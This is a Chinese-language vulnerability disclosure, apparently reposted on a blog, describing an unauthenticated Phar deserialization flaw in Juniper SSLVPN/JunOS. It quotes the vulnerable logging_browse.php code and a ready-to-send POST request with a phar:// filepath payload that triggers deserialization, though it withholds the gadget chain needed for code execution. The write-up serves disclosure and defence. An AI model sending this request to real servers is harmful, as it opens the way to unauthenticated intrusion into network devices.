Juniper SSLVPN / JunOS远程预认证Phar反序列化RCE漏洞

漏洞详情

Phar 文件(PHP 存档)文件包含序列化格式的元数据,当被 P​​HP 文件操作函数解析时,会导致元数据被反序列化。攻击者可以滥用此行为来利用瞻博网络代码库中的对象实例化漏洞。

phar 文件的独特之处在于,即使使用不评估 PHP 代码的 PHP 函数,如file_get_contents()fopen()file() file_exists()md5_file()filemtime() filesize(),也会发生这种反序列化, is_dir(),如果用户输入被传递给函数。
 


 

影响

未经身份验证的远程攻击者可利用此漏洞对远程 phar 文件进行反序列化,从而导致任意文件写入,从而导致远程代码执行 (RCE) 漏洞。在修补更多服务器之前,我们不会发布关于我们滥用以获取 RCE 的反序列化的完整 PoC,但如果您正在查看 JunOS 代码库,则很容易发现反序列化小工具。这是此漏洞未被评为 9.8 严重级别的唯一原因——攻击者需要找到我们找到的反序列化小工具或其他反序列化小工具才能获得 RCE
 


 

漏洞分析

该漏洞是由 /jsdm/ajax/logging_browse.php 中的以下代码引起的:

$user = new user(true); //suppose to check if user is authenticated
$file_path=$_POST['filepath'];

if(!is_dir($file_path))
{
   $json = '[]';   
   echo $json;
}
else
{
   echo get_dir_listing($_POST['filepath'], $_POST['nameexceptions']);
}

即使有 $user = new user(true); 在第 1 行,控制器仍然可以在没有身份验证的情况下访问,因为如果不是真的用户检查不会退出。使用指向 Phar 文件的filepath参数发送一个简单的 POST 请求会强制进行反序列化。
 


 

漏洞复现

达到反序列化的示例请求看起来很简单:

POST //jsdm/ajax/logging_browse.php HTTP/1.1
Host: JUNOS:8080

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:98.0) Gecko/20100101 Firefox/98.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 8
Origin: null
Connection: close
Upgrade-Insecure-Requests: 1

filepath=phar:////pharfile.jpg

phar文件可以是通过图片上传门户上传的本地图片文件、缓存文件或通过未认证上传页面上传的远程文件。
 

------本页内容已结束,喜欢请分享------

感谢您的来访,获取更多精彩文章请收藏本站。

© 版权声明
THE END
喜欢就支持一下吧
点赞5赞赏 分享
评论 共1条
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情代码图片
    • 头像的果0